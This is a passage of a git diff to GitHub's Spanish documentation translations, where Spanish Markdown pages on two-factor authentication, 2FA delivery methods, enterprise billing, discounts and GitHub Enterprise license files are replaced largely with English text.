-Para {% data variables.product.product_name %}, la segunda forma de autenticación es un código que es generado por una aplicación en tu dispositivo móvil{% ifversion fpt or ghec %} o enviado como mensaje de texto (SMS){% endif %}. After you enable 2FA, {% data variables.product.product_name %} generates an authentication code any time someone attempts to sign into your account on {% data variables.product.product_location %}. El único modo en que alguien puede iniciar sesión en tu cuenta es si conoce la contraseña y si tiene acceso al código de autenticación de tu teléfono. +For {% data variables.product.product_name %}, the second form of authentication is a code that's generated by an application on your mobile device{% ifversion fpt or ghec %} or sent as a text message (SMS){% endif %}. After you enable 2FA, {% data variables.product.product_name %} generates an authentication code any time someone attempts to sign into your account on {% data variables.product.product_location %}. The only way someone can sign into your account is if they know both your password and have access to the authentication code on your phone. {% data reusables.two_fa.after-2fa-add-security-key %} -También puedes configurar métodos de recuperación adicionales en caso de que pierdas el acceso a tus credenciales de autenticación de dos factores. Para obtener más información acerca de la configuración de la 2FA, consulta "[Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication)" y "[Configurar métodos de recuperación de autenticación de dos factores](/articles/configuring-two-factor-authentication-recovery-methods)". +You can also configure additional recovery methods in case you lose access to your two-factor authentication credentials. For more information on setting up 2FA, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)" and "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)." -Te recomendamos **enfáticamente** que habilites la 2FA para mantener la seguridad de tu cuenta, no solo en {% data variables.product.product_name %}, sino en otros sitios web y aplicaciones que la admitan. Puedes habilitar la 2FA para acceder a {% data variables.product.product_name %} y a {% data variables.product.prodname_desktop %}. +We **strongly** urge you to enable 2FA for the safety of your account, not only on {% data variables.product.product_name %}, but on other websites and apps that support 2FA. You can enable 2FA to access {% data variables.product.product_name %} and {% data variables.product.prodname_desktop %}. -Para obtener más información, consulta "[Acceder a {% data variables.product.prodname_dotcom %} utilizando autenticación de dos factores](/articles/accessing-github-using-two-factor-authentication)". +For more information, see "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)." -## Códigos de recuperación de autenticación de dos factores +## Two-factor authentication recovery codes -{% data reusables.two_fa.about-recovery-codes %} Para obtener más información, consulta "[Recuperar tu cuenta si pierdes tus credenciales 2FA](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)". +{% data reusables.two_fa.about-recovery-codes %} For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)." {% ifversion fpt or ghec %} {% warning %} -**Advertencia**: {% data reusables.two_fa.support-may-not-help %} Para obtener más información, consulta "[Recuperar tu cuenta si pierdes tus credenciales 2FA](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)". +**Warning**: {% data reusables.two_fa.support-may-not-help %} For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)." {% endwarning %} {% endif %} -## Solicitar autenticación de dos factores en tu organización +## Requiring two-factor authentication in your organization -Los propietarios de la organización pueden solicitar que los miembros{% ifversion fpt or ghec %} de la organización, los gerentes de facturación, {% endif %} y los colaboradores externos usen la autenticación de dos factores para proteger sus cuentas personales. Para obtener más información, consulta "[Solicitar la autenticación de dos factores en tu organización](/articles/requiring-two-factor-authentication-in-your-organization)". +Organization owners can require that organization members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators use two-factor authentication to secure their personal accounts. For more information, see "[Requiring two-factor authentication in your organization](/articles/requiring-two-factor-authentication-in-your-organization)." {% data reusables.two_fa.auth_methods_2fa %} diff --git a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md index 6dfb7160ba..8b8e9e7073 100644 --- a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md +++ b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/changing-two-factor-authentication-delivery-methods-for-your-mobile-device.md @@ -1,6 +1,6 @@ --- -title: Cambiar los métodos de entrega de autenticación de dos factores para tu dispositivo móvil -intro: Puedes alternar entre la recepción de código de autenticación a través de un mensaje de texto o una aplicación móvil. +title: Changing two-factor authentication delivery methods for your mobile device +intro: You can switch between receiving authentication codes through a text message or a mobile application. redirect_from: - /articles/changing-two-factor-authentication-delivery-methods/ - /articles/changing-two-factor-authentication-delivery-methods-for-your-mobile-device @@ -11,24 +11,25 @@ versions: ghec: '*' topics: - 2FA -shortTitle: Cambiar el método de entrega de 2FA +shortTitle: Change 2FA delivery method --- - {% note %} -**Nota:** El cambio de tu método de autenticación de dos factores invalida tu configuración de método de dos factores actual. Sin embargo, esto no afecta tus códigos de recuperación o configuración SMS de reserva. Puedes actualizar tus códigos de recuperación o configuración SMS de reserva o en la página de parámetros de seguridad de tu cuenta personal, si así lo deseas. +**Note:** Changing your primary method for two-factor authentication invalidates your current two-factor authentication setup, including your recovery codes. Keep your new set of recovery codes safe. Changing your primary method for two-factor authentication does not affect your fallback SMS configuration, if configured. For more information, see "[Configuring two-factor authentication recovery methods](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication-recovery-methods#setting-a-fallback-authentication-number)." {% endnote %} {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.security %} -3. Al lado de "SMS delivery" (Entrega de SMS), haz clic en **Edit** (Editar). ![Editar opciones de entrega de SMS](/assets/images/help/2fa/edit-sms-delivery-option.png) -4. En "Delivery options" (Opciones de entrega), haz clic en **Reconfigure two-factor authentication** (Reconfirgurar autenticación de dos factores). ![Cambiar tus opciones de entrega 2FA](/assets/images/help/2fa/2fa-switching-methods.png) -5. Decide si deseas configurar la autenticación de dos factores mediante una app móvil TOTP o un mensaje de texto. Para obtener más información, consulta "[Configurar autenticación de dos factores](/articles/configuring-two-factor-authentication)". - - Para configurar la autenticación de dos factores mediante una app móvil TOTP, haz clic en **Set up using an app** (Configurar mediante una app). - - Para configurar la autenticación de dos factores mediante un mensaje de texto (SMS), haz clic en **Set up using SMS** (Configurar mediante SMS). +3. Next to "SMS delivery", click **Edit**. + ![Edit SMS delivery options](/assets/images/help/2fa/edit-sms-delivery-option.png) +4. Under "Delivery options", click **Reconfigure two-factor authentication**. + ![Switching your 2FA delivery options](/assets/images/help/2fa/2fa-switching-methods.png) +5. Decide whether to set up two-factor authentication using a TOTP mobile app or text message. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." + - To set up two-factor authentication using a TOTP mobile app, click **Set up using an app**. + - To set up two-factor authentication using text message (SMS), click **Set up using SMS**. -## Leer más +## Further reading -- "[Acerca de la autenticación de dos factores](/articles/about-two-factor-authentication)" -- [Configurar métodos de recuperación de autenticación de dos factores](/articles/configuring-two-factor-authentication-recovery-methods)" +- "[About two-factor authentication](/articles/about-two-factor-authentication)" +- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)" diff --git a/translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md b/translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md index 23dc97103f..d3615d9aa8 100644 --- a/translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md +++ b/translations/es-ES/content/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Acerca de la facturación de tu empresa -intro: Puedes visualizar la información de facturación para tu empresa. +title: About billing for your enterprise +intro: You can view billing information for your enterprise. product: '{% data reusables.gated-features.enterprise-accounts %}' redirect_from: - /admin/overview/managing-billing-for-your-enterprise @@ -14,56 +14,56 @@ versions: type: overview topics: - Enterprise -shortTitle: Facturación de tu empresa +shortTitle: Billing for your enterprise --- -## Acerca de la facturación para tu empresa +## About billing for your enterprise {% ifversion ghae %} -{% data reusables.github-ae.about-billing %} Una vez por día, {% data variables.product.prodname_dotcom %} contará la cantidad de usuarios en tu empresa que tengan una licencia. {% data variables.product.company_short %} te cobra por cada usuario con una licencia sin importar si éstos han ingresado en {% data variables.product.prodname_ghe_managed %} ese día. +{% data reusables.github-ae.about-billing %} Once per day, {% data variables.product.prodname_dotcom %} will count the number of users with a license for your enterprise. {% data variables.product.company_short %} bills you for each licensed user regardless of whether the user logged into {% data variables.product.prodname_ghe_managed %} that day. -Para las regiones comerciales, el precio por usuario por día es de $1.2580645161. Para los meses de 31 días, el costo mensual de cada usuario es de $39. Para los meses que tienen menos días, el costo mensual es menor. Cada mes de facturación comienza en una hora fija del primer día calendario de cada mes. +For commercial regions, the price per user per day is $1.2580645161. For 31-day months, the monthly cost for each user is $39. For months with fewer days, the monthly cost is lower. Each billing month begins at a fixed time on the first day of the calendar month. -Si agregas un usuario licenciado a mitad de mes, éste solo se incluirá en el conteo de los días en los que haya tenido una licencia. Cuando elimines a un usuario con licencia, éste permanecerá en el conteo hasta el final de dicho mes. Por lo tanto, si agregas a un usuario a mitad de mes y después lo eliminas en el mismo mes, el usuario se incluirá en la cuenta desde el día que el usuario se agregó hasta el final del mes. No existe costo adicional si vuelves a agregar a un usuario durante el mismo mes en el que se eliminó. +If you add a licensed user mid-month, that user will only be included in the count for the days they have a license. When you remove a licensed user, that user will remain in the count until the end of that month. Therefore, if you add a user mid-month and later remove the user in the same month, the user will be included in the count from the day the user was added through the end of the month. There is no additional cost if you re-add a user during the same month the user was removed. -Por ejemplo, aquí mostramos los costos para los usuarios con licencias en fechas diferentes. +For example, here are the costs for users with licenses on different dates. -| Usuario | Fechas de licencia | Días contados | Costo | -| --------- | ----------------------------------------------- | ------------- | ------ | -| @octocat | Enero 1 - Enero 31 | 31 | $39 | -| @robocat | Febrero 1 - Febrero 28 | 28 | $35.23 | -| @devtocat | Enero 15 - Enero 31 | 17 | $21.39 | -| @doctocat | Enero 1 - Enero 15 | 31 | $39 | -| @prodocat | Enero 7 - Enero 15 | 25 | $31.45 | -| @monalisa | Enero 1 - Enero 7,
Enero 15 - Enero 31 | 31 | $39 | +User | License dates | Counted days | Cost +---- | ------------ | ------- | ----- +@octocat | January 1 - January 31 | 31 | $39 +@robocat | February 1 - February 28 | 28 | $35.23 +@devtocat | January 15 - January 31 | 17 | $21.39 +@doctocat | January 1 - January 15 | 31 | $39 +@prodocat | January 7 - January 15 | 25 | $31.45 +@monalisa | January 1 - January 7,
January 15 - January 31 | 31 | $39 -{% data variables.product.prodname_ghe_managed %} tiene un mínimo de 500 usuarios por instancia. {% data variables.product.company_short %} te cobra por un mínimo de 500 usuarios por instancia, aún si hay menos de 500 usuarios con una licencia en ese día. +{% data variables.product.prodname_ghe_managed %} has a 500-user minimum per instance. {% data variables.product.company_short %} bills you for a minimum of 500 users per instance, even if there are fewer than 500 users with a license that day. -Puedes ver tu uso actual en tu [Portal de cuenta de Azure](https://portal.azure.com). +You can see your current usage in your [Azure account portal](https://portal.azure.com). {% elsif ghec or ghes %} {% ifversion ghec %} -{% data variables.product.company_short %} cobra mensualmente por la cantidad total de miembros en tu cuenta empresarial, así como por cualquier servicio que utilices con {% data variables.product.prodname_ghe_cloud %}. +{% data variables.product.company_short %} bills monthly for the total number of members in your enterprise account, as well as any additional services you use with {% data variables.product.prodname_ghe_cloud %}. {% elsif ghes %} -Cada usuario en {% data variables.product.product_location %} consume una plaza en tu licencia. {% data variables.product.company_short %} cobra mensualmente por la cantidad total de plazas que se consumen en tu licencia. +Each user on {% data variables.product.product_location %} consumes a seat on your license. {% data variables.product.company_short %} bills monthly for the total number of seats consumed on your license. {% endif %} {% data reusables.billing.about-invoices-for-enterprises %} For more information about usage and invoices, see "[Viewing the subscription and usage for your enterprise account](/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)" and {% ifversion ghes %}"[Managing invoices for your enterprise](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise)" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% elsif ghec %}"[Managing invoices for your enterprise](/billing/managing-billing-for-your-github-account/managing-invoices-for-your-enterprise)."{% endif %} -Los administradores de tu cuenta empresarial de {% data variables.product.prodname_dotcom_the_website %} pueden acceder y administrar la facturación de la empresa. +Administrators for your enterprise account on {% data variables.product.prodname_dotcom_the_website %} can access and manage billing for the enterprise. {% ifversion ghec %} -Cada miembro de tu cuenta empresarial con una dirección de correo electrónico única consumirá una plaza. Los gerentes de facturación no consumen plazas. Cada colaborador externo de un repositorio privado que pertenezca a una organización en tu empresa consumirá una licencia, a menos de que dicho repositorio privado sea una bifurcación. Cada invitado a tu cuenta empresarial, incluyendo a los propietarios, miembros de las organizaciones y colaboradores externos, consumirán una licencia. Para obtener más información sobre los roles en una cuenta empresarial, consulta las secciones "[Roles en una empresa](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" y "[Invitar a personas para que administren tu empresa](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)". +Each member of your enterprise account with a unique email address consumes a license. Billing managers do not consume a license. Each outside collaborator on a private repository that an organization in your enterprise owns consumes a license, unless the private repository is a fork. Each invitee to your enterprise account, including owners, members of organizations, and outside collaborators, consume a license. For more information about roles in an enterprise account, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)" and "[Inviting people to manage your enterprise](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)." {% ifversion ghec %} -{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} Para obtener más información, consulta la sección "[Conectar una suscripción de Azure a tu empresa](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)". +{% data reusables.enterprise-accounts.billing-microsoft-ea-overview %} For more information, see "[Connecting an Azure subscription to your enterprise](/billing/managing-billing-for-your-github-account/connecting-an-azure-subscription-to-your-enterprise)." {% endif %} {% endif %} @@ -74,7 +74,7 @@ Cada miembro de tu cuenta empresarial con una dirección de correo electrónico {% endif %} -## Acerca de la sincronización del uso de licencias +## About synchronization of license usage {% data reusables.enterprise.about-deployment-methods %} @@ -82,7 +82,7 @@ Cada miembro de tu cuenta empresarial con una dirección de correo electrónico {% endif %} -## Leer más +## Further reading - "[About enterprise accounts](/admin/overview/about-enterprise-accounts)"{% ifversion ghec or ghes %} -- "[Acerca de las licencias para GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)"{% endif %} +- "[About licenses for GitHub Enterprise](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)"{% endif %} diff --git a/translations/es-ES/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md b/translations/es-ES/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md index 210d7ea685..0dc25db5cf 100644 --- a/translations/es-ES/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md +++ b/translations/es-ES/content/billing/managing-billing-for-your-github-account/discounted-subscriptions-for-github-accounts.md @@ -1,6 +1,6 @@ --- -title: Suscripciones con descuentos para cuentas GitHub -intro: '{% data variables.product.product_name %} ofrece descuentos a estudiantes, educadores, instituciones educativas, bibliotecas y organizaciones sin fines de lucro.' +title: Discounted subscriptions for GitHub accounts +intro: '{% data variables.product.product_name %} provides discounts to students, educators, educational institutions, nonprofits, and libraries.' redirect_from: - /github/setting-up-and-managing-billing-and-payments-on-github/discounted-subscriptions-for-github-accounts - /articles/discounted-personal-accounts/ @@ -18,29 +18,28 @@ topics: - Discounts - Nonprofits - User account -shortTitle: Suscripciones con descuento +shortTitle: Discounted subscriptions --- - {% tip %} -**Sugerencia**: Los descuentos para {% data variables.product.prodname_dotcom %} no se tienen vigencia para las suscripciones de otros productos y características pagos. +**Tip**: Discounts for {% data variables.product.prodname_dotcom %} do not apply to subscriptions for other paid products and features. {% endtip %} -## Descuentos para cuentas personales +## Discounts for personal accounts -Además del número ilimitado de repositorios públicos y privados para estudiantes y miembros del cuerpo docente con {% data variables.product.prodname_free_user %}, los estudiantes validados pueden solicitar el {% data variables.product.prodname_student_pack %} para recibir beneficios adicionales ofrecidos por los socios de {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Postularse para un paquete de desarrollo para estudiantes](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)". +In addition to the unlimited public and private repositories for students and faculty with {% data variables.product.prodname_free_user %}, verified students can apply for the {% data variables.product.prodname_student_pack %} to receive additional benefits from {% data variables.product.prodname_dotcom %} partners. For more information, see "[Apply for a student developer pack](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)." -## Descuentos para escuelas y universidades +## Discounts for schools and universities -Los miembros del cuerpo docente validados pueden solicitar {% data variables.product.prodname_team %} para la enseñanza y la investigación académica. Para obtener más información, consulta la sección "[Utilizar {% data variables.product.prodname_dotcom %} en tu aula y en tu investigación](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)". Para obtener más información, consulta "[Usar {{ site.data.variables.product.prodname_dotcom }} en tu clase y en tu investigación](/articles/using-github-in-your-classroom-and-research)". Para obtener más información, visita [{% data variables.product.prodname_education %}](https://education.github.com/). +Verified academic faculty can apply for {% data variables.product.prodname_team %} for teaching or academic research. For more information, see "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/free-pro-team@latest/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)." You can also request educational materials goodies for your students. For more information, visit [{% data variables.product.prodname_education %}](https://education.github.com/). -## Descuentos para bibliotecas y organizaciones sin fines de lucro +## Discounts for nonprofits and libraries -{% data variables.product.product_name %}proporciona {% data variables.product.prodname_team %} gratuito para organizaciones y cuenta con repositorios privados ilimitados, colaboradores ilimitados, y un juego completo de características a organizaciones y bibliotecas que califiquen como 501(c)3 (o equivalentes). Puedes solicitar un descuento para tu organización en [nuestra página de organizaciones sin fines de lucro](https://github.com/nonprofit). +{% data variables.product.product_name %} provides free {% data variables.product.prodname_team %} for organizations with unlimited private repositories, unlimited collaborators, and a full feature set to qualifying 501(c)3 (or equivalent) organizations and libraries. You can request a discount for your organization on [our nonprofit page](https://github.com/nonprofit). -Si tu organización ya tiene una suscripción paga, la última transacción de tu organización se reembolsará una vez que se haya aplicado tu descuento para organizaciones sin fines de lucro. +If your organization already has a paid subscription, your organization's last transaction will be refunded once your nonprofit discount has been applied. -## Leer más +## Further reading -- "[Acerca de la facturación en {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)" +- "[About billing on {% data variables.product.prodname_dotcom %}](/articles/about-billing-on-github)" diff --git a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md index 41f8eae1e8..08b52173e4 100644 --- a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md +++ b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise.md @@ -1,5 +1,5 @@ --- -title: Acerca de las licencias para GitHub Enterprise +title: About licenses for GitHub Enterprise intro: '{% ifversion ghec %}If you deploy {% data variables.product.prodname_ghe_server %} in addition to using {% data variables.product.prodname_ghe_cloud %}, each{% elsif ghes %}Each{% endif %} {% data variables.product.prodname_ghe_server %} instance requires a license file to validate and unlock the application.' versions: ghec: '*' @@ -8,10 +8,10 @@ type: overview topics: - Enterprise - Licensing -shortTitle: Acerca de las licencias +shortTitle: About licenses --- -## Acerca de los archivos de licencia para {% data variables.product.prodname_enterprise %} +## About license files for {% data variables.product.prodname_enterprise %} {% ifversion ghec %} @@ -19,15 +19,15 @@ shortTitle: Acerca de las licencias {% endif %} -Cuando compras o renuevas tu suscripción de {% data variables.product.prodname_enterprise %}, {% data variables.product.company_short %} te proporciona un archivo de licencia {% ifversion ghec %}para tus despliegues de {% data variables.product.prodname_ghe_server %}{% elsif ghes %} para {% data variables.product.product_location_enterprise %}{% endif %}. Un archivo de licencia tiene una fecha de vencimiento y controla la cantidad de personas que pueden utilizar {% data variables.product.product_location_enterprise %}. Después de que descargas e instalas {% data variables.product.prodname_ghe_server %}, debes cargar un archivo de licencia para desbloquear la aplicación para tu uso. +When you purchase or renew {% data variables.product.prodname_enterprise %}, {% data variables.product.company_short %} provides a license file {% ifversion ghec %}for your deployments of {% data variables.product.prodname_ghe_server %}{% elsif ghes %}for {% data variables.product.product_location_enterprise %}{% endif %}. A license file has an expiration date and controls the number of people who can use {% data variables.product.product_location_enterprise %}. After you download and install {% data variables.product.prodname_ghe_server %}, you must upload the license file to unlock the application for you to use. -Para obtener más información sobre cómo descargar tu archivo de licencia, consulta la sección "[Descargar tu licencia para {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)". For more information about uploading your license file, see {% ifversion ghec %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% endif %} +For more information about downloading your license file, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)." For more information about uploading your license file, see {% ifversion ghec %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% endif %} -Si tu licencia vence, no podrás acceder a {% data variables.product.prodname_ghe_server %} a través del buscador web o de Git. Si es necesario, podrás usar herramientas de línea de comando para hacer un respaldo de seguridad de todos tus datos. For more information, see {% ifversion ghec %}"[Configuring backups on your appliance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/guides/installation/configuring-backups-on-your-appliance)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Configuring backups on your appliance](/admin/guides/installation/configuring-backups-on-your-appliance)." {% endif %} +If your license expires, you won't be able to access {% data variables.product.prodname_ghe_server %} via a web browser or Git. If needed, you will be able to use command-line utilities to back up all your data. For more information, see {% ifversion ghec %}"[Configuring backups on your appliance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/guides/installation/configuring-backups-on-your-appliance)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Configuring backups on your appliance](/admin/guides/installation/configuring-backups-on-your-appliance)." {% endif %} -Si tienes cualquier duda sobre el renovamiento de tu licencia, contacta a {% data variables.contact.contact_enterprise_sales %}. +If you have any questions about renewing your license, contact {% data variables.contact.contact_enterprise_sales %}. -## Acerca de la sincronización de uso de licencias para {% data variables.product.prodname_enterprise %} +## About synchronization of license usage for {% data variables.product.prodname_enterprise %} {% ifversion ghes %} @@ -37,8 +37,8 @@ Si tienes cualquier duda sobre el renovamiento de tu licencia, contacta a {% dat {% data reusables.enterprise-licensing.about-license-sync %} For more information, see {% ifversion ghec %}"[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Syncing license usage between {% data variables.product.prodname_ghe_server %} and {% data variables.product.prodname_ghe_cloud %}](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud)."{% endif %} -## Leer más +## Further reading -- "[Acerca de la facturación para tu empresa](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)" -- Sitio web de [Lanzamientos de {% data variables.product.prodname_enterprise %}](https://enterprise.github.com/releases/) +- "[About billing for your enterprise](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise)" +- [{% data variables.product.prodname_enterprise %} Releases](https://enterprise.github.com/releases/) website - "[Setting up a {% data variables.product.prodname_ghe_server %} instance]({% ifversion ghec %}/enterprise-server@latest{% endif %}/admin/installation/setting-up-a-github-enterprise-server-instance)" diff --git a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md index 89fddc49f0..1f40813d65 100644 --- a/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md +++ b/translations/es-ES/content/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise.md @@ -1,6 +1,6 @@ --- -title: Descargar tu licencia de GitHub Enterprise -intro: 'Puedes descargar una copia de tu archivo de licencia para {% data variables.product.prodname_ghe_server %}.' +title: Downloading your license for GitHub Enterprise +intro: 'You can download a copy of your license file for {% data variables.product.prodname_ghe_server %}.' permissions: 'Enterprise owners can download license files for {% data variables.product.prodname_ghe_server %}.' versions: ghec: '*' @@ -9,28 +9,30 @@ type: how_to topics: - Enterprise - Licensing -shortTitle: Descargar tu licencia +shortTitle: Download your license --- -## Acerca de los archivos de licencia para {% data variables.product.prodname_enterprise %} +## About license files for {% data variables.product.prodname_enterprise %} -Después de comprar o mejorar una licencia de {% data variables.product.prodname_enterprise %} desde {% data variables.contact.contact_enterprise_sales %}, debes descargar tu archivo de licencia nuevo. Para obtener más información sobre las licencias para {% data variables.product.prodname_enterprise %}, consulta la sección "[Acerca de las licencias de {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)". +After you purchase or upgrade a license for {% data variables.product.prodname_enterprise %} from {% data variables.contact.contact_enterprise_sales %}, you must download your new license file. For more information about licenses for {% data variables.product.prodname_enterprise %}, see "[About licenses for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise)." {% data reusables.enterprise-licensing.contact-sales-for-renewals-or-seats %} -## Descargar tu licencia desde {% data variables.product.prodname_dotcom_the_website %} +## Downloading your license from {% data variables.product.prodname_dotcom_the_website %} -Debes tener una cuenta empresarial en {% data variables.product.prodname_dotcom_the_website %} para descargar tu licencia de {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion ghes %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% elsif ghec %}."{% endif %} +You must have an enterprise account on {% data variables.product.prodname_dotcom_the_website %} to download your license from {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion ghes %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% elsif ghec %}."{% endif %} {% data reusables.enterprise-accounts.access-enterprise-on-dotcom %} {% data reusables.enterprise-accounts.settings-tab %} -1. En la barra lateral izquierda, da clic en **Licenciamiento empresarial**. ![Pestaña de "Licencias empresariales" en la barra lateral de configuración para la cuenta empresarial](/assets/images/help/enterprises/enterprise-licensing-tab.png) -1. Debajo de "instancias de Enterprise Server", da clic en {% octicon "download" aria-label="The download icon" %} para descargar tu archivo de licencia. ![Descargar la licencia de GitHub Enterprise Server](/assets/images/help/business-accounts/download-ghes-license.png) +1. In the left sidebar, click **Enterprise licensing**. + !["Enterprise licensing" tab in the enterprise account settings sidebar](/assets/images/help/enterprises/enterprise-licensing-tab.png) +1. Under "Enterprise Server Instances", click {% octicon "download" aria-label="The download icon" %} to download your license file. + ![Download GitHub Enterprise Server license](/assets/images/help/business-accounts/download-ghes-license.png) -Después de que descargas tu archivo de licencia, puedes cargar el archivo a {% data variables.product.product_location_enterprise %} para validar tu aplicación. For more information, see {% ifversion ghec %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% endif %} +After you download your license file, you can upload the file to {% data variables.product.product_location_enterprise %} to validate your application. For more information, see {% ifversion ghec %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)" in the {% data variables.product.prodname_ghe_server %} documentation.{% elsif ghes %}"[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/enterprise-server/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% endif %} -## Descargar tu licencia si no tienes una cuenta empresarial en {% data variables.product.prodname_dotcom_the_website %} +## Downloading your license if you don't have an enterprise account on {% data variables.product.prodname_dotcom_the_website %} -Si no tienes una cuenta empresarial en {% data variables.product.prodname_dotcom_the_website %} o si no estás seguro de ello, podrías descarar tu licencia de {% data variables.product.prodname_ghe_server %} desde el [sitio web de {% data variables.product.prodname_enterprise %}](https://enterprise.github.com/download). +If you do not have an enterprise account on {% data variables.product.prodname_dotcom_the_website %}, or if you're not sure, you may be able to download your {% data 